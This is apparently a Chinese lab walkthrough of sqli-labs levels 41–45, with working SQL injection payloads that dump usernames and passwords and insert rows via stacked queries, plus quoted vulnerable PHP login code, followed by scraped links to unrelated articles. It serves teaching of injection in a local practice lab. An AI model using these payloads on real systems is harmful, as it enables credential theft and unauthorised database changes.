SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式
(1)输入and1=1和and1=2测试,返回错误,证明存在注入


(2)union select联合查询

(3)查询表名

(4)其他
payload:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')%23
union select 1,(select group_concat(username,password) from users)%23
0x2 堆叠注入方式
payload:
http://192.168.232.135/sqli-labs/Less-41/?id=1;insert into users values(105,'test1','test1')%23

0x3 第四十二关
本关打开是post,新建用户和重置密码处都无法访问Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

(1)查看源码login.php,可以看出password参数没有经过过滤
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname); $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
(2)这样一来我们就可以直接在密码处做文章
随意输入用户名,密码如下:
a';insert into users values(106,'aaa','aaa')


0x4 第四十三关
与上面原理,不同的地方是闭合点不同
过滤点:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"]; sql语句:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
随意输入用户名,密码如下:
paload:
a');insert into users values(106,'aaa','aaa')%23
0x5 第四十四关
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
过滤点:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
sql语句:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
随意输入用户名,密码如下:
paload:
a';insert into users values(107,'aaa','aaa')#
0X6 第四十五关
与四十三关的区别在于并没有报错信息,也就是基于盲注
payload:
a');insert into users values(108,'aaa','aaa')#
SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关的更多相关文章
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL Server 2008空间数据应用系列八:基于Bing Maps(Silverlight)的空间数据存储
原文:SQL Server 2008空间数据应用系列八:基于Bing Maps(Silverlight)的空间数据存储 友情提示,您阅读本篇博文的先决条件如下: 1.本文示例基于Microsoft S ...
- SQL Server 2008空间数据应用系列六:基于SQLCRL的空间数据可编程性
原文:SQL Server 2008空间数据应用系列六:基于SQLCRL的空间数据可编程性 友情提示,您阅读本篇博文的先决条件如下: 1.本文示例基于Microsoft SQL Server 2008 ...
- SQL Server 2008空间数据应用系列七:基于Bing Maps(Silverlight) 的空间数据展现
原文:SQL Server 2008空间数据应用系列七:基于Bing Maps(Silverlight) 的空间数据展现 友情提示,您阅读本篇博文的先决条件如下: 1.本文示例基于Microsoft ...
- SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)
0x1 堆叠注入讲解 (1)前言 国内有的称为堆查询注入,也有称之为堆叠注入.个人认为称之为堆叠注入更为准确.堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据 ...
随机推荐
- 一个空格引起的错误。 python
'render_field' tag requires a form field followed by a list of attributes and values in the form att ...
- LeGO-LOAM编译、运行
LeGO-LOAM Github 地址:https://github.com/RobustFieldAutonomyLab/LeGO-LOAM 相关依赖安装 1. ROS 2.GTSAM 下载gtsa ...
- Previous operation has not finished;run 'cleanup' if it was interrupted;Please execute the 'Cleanup' command.
今天更新文件夹时svn报错如下 提示说让clean up,但是clean up又提示fail,让继续clean up,这样就陷入死循环了…… 搜了多种解决办法后找到原因:当时正在打开着svn的某个文件 ...
- lumion的物体系统5.30
1.“自然"点击这棵树.可以打开自然库.不同的植物分类有很多页数. 选择一棵树,自动返回页面单击鼠标左键可以种植这个树.成排种树:点击”人群安置“点击我们想安置的起点.再点击终点.用鼠标右键 ...
- 版本管理工具小乌龟TortoiseGit的安装和使用(1)
1.软件的安装:1.1 安装 Git使用软件管理工具搜索 Git:
- 基于服务器AAA的实验
1.实验拓扑 2.地址分配 Device Interface IP Address Subnet Mask R0 Fa0/0 192.168.1.2 255.255.255.0 S ...
- python之路-pyc
一.解释型语言和编译型语言 解释性语言:在程序执行之前,先会通过编译器对程序执行一个编译的过程,把程序转变成机器语言.运行时就不需要翻译,而直接执行就可以了.最典型的例子就是C语言. 编译型语言:没有 ...
- Python的进程与线程--思维导图
Python的进程与线程--思维导图
- 小学生四则运算JAVA
点我,github地址 组员:黄浩格,何坤 一.项目说明 1题目:实现一个自动生成小学四则运算题目的命令行程序. 2说明: 自然数:0, 1, 2, -. • 真分数:1/2, 1/3, 2/3, 1 ...
- spark中map与mapPartitions区别
在spark中,map与mapPartitions两个函数都是比较常用,这里使用代码来解释一下两者区别 import org.apache.spark.{SparkConf, SparkContext ...